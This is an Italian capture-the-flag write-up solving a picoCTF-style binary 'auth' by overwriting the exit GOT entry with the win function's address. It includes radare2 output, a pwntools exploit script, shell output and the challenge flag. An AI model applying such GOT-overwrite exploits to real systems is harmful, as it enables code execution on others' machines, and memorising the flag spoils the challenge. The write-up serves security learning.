Soluzione

Dando un occhio al programma, abbiamo che la funzione da chiamare è proprio *win*. Eseguendo il programma, eseguiamo una scrittura di un valore in un indirizzo, dopodiché si esce dalla funzione. Esaminando la sicurezza con gdb-peda, vediamo che siamo in Partial RELRO, quindi possiamo cercare di scrivere nella GOT.
Il nostro primo passo è estrarre l'indirizzo GOT della funzione *puts* e l'indirizzo della funzione *win*. Questo potrebbe essere fatto facilmente con *radare2*.
I comandi che immettiamo sono:

- *r2 ./auth*
- *aaaa* (vedo i blocchi, dimensione e nome di ogni funzione)

```
[0x08048450]> afl

0x08048450    1     33 entry0
0x08048400    1      6 sym.imp.__libc_start_main
0x08048490    4     43 sym.deregister_tm_clones
0x080484c0    4     53 sym.register_tm_clones
0x08048500    3     30 sym.__do_global_dtors_aux
0x08048520    4     40 entry.init0
0x080486d0    1      2 sym.__libc_csu_fini
0x08048480    1      4 sym.__x86.get_pc_thunk.bx
0x080486d4    1     20 sym._fini
0x08048670    4     93 sym.__libc_csu_init
0x0804854b    1     25 sym.win
0x080483e0    1      6 sym.imp.system
0x08048564    1    266 main
0x08048410    1      6 sym.imp.setvbuf
0x080483d0    1      6 sym.imp.puts
0x08048430    1      6 sym.imp.__isoc99_scanf
0x08048420    1      6 sym.imp.sprintf
0x080483f0    1      6 sym.imp.exit
0x08048394    3     35 sym._init
0x08048440    1      6 sym..plt.got
```

Da qui, usiamo il comando *pd* per stampare il disassembler di una funzione, usando il numero di inizio e una handle con la @. Per esempio, per vedere le chiamate della funzione *puts*, usiamo *pd 1 @sym.imp.puts*:

```
[0x08048450]> pd 1 @ sym.imp.puts
            ; CALL XREFS from main @ 0x80485aa(x), 0x80485f1(x), 0x80486
3c(x), 0x804865c(x)
- 6: int sym.imp.puts (const char *s);
  rg: 0 (vars 0, args 0)
  bp: 0 (vars 0, args 0)
  sp: 0 (vars 0, args 0)
            0x080483d0      ff250ca00408   jmp dword [reloc.puts]      ;
0x804a00c
```

Come si vede, in questo caso abbiamo dei riferimenti esterni alla funzione *main*, nello specifico 4 indirizzi esterni. Noi possiamo provare a sfruttare la vulnerabilità della funzione saltando direttamente all'indirizzo della funzione *win* con il nostro *pwntools*.
In particolare, consideriamo l'indirizzo della *puts* (che può variare, nel caso mio è, togliendo *0x* sempre) 080483d0, mentre l'indirizzo della funzione *win* è 0804854b, e tutto quello che c'è da fare è sostituirlo. Similmente, si può farlo sulla funzione *exit*, che viene sempre chiamata. Quest'ultima è la soluzione che adotto, in quanto quella ufficiale non funzionante.

Riferimento e adattamento di questa soluzione:
https://github.com/Dvd848/CTFs/blob/master/2018_picoCTF/got-shell.md

```
from pwn import *
#taking the program, then processing the binary content
PROGRAM = "./auth"
p = process('./auth')
e = ELF(PROGRAM)

#overwriting the "exit" address with the "win" one
```

log.info("Address of 'exit' .got.plt entry: {}".format(hex(e.got['exit'])))
log.info("Address of 'win': {}".format(hex(e.symbols['win'])))

#sending the "exit" GOT address once executed, printing
#the process output (the overwritten memory lines)
p.sendlineafter("Where would you like to write this 4 byte value?", hex(e.got['exit']))

#printing the process stack of execution
print(p.recvline())

#then, sending the "win" symbols and interacting with shell
p.sendline(hex(e.symbols['win']))
p.interactive()

L'esecuzione darà infatti:

```
/home/ubuntu/Downloads/16_Challenges/Challenges/1_GOT/solution.py:13: B
ytesWarning: Text is not bytes; assuming ASCII, no guarantees. See http
s://docs.pwntools.com/#bytes
  p.sendline(hex(e.symbols['win']))
[*] Switching to interactive mode
Okay, now what value would you like to write to 0x804a014
Okay, writing 0x804854b to 0x804a014
Okay, exiting now...

$ ls
auth  auth.c  description.txt  flag.txt  makefile  solution.py
$ cat flag.txt
picoCTF{m4sT3r_0f_tH3_g0t_t4b1e_7a9e7634}
```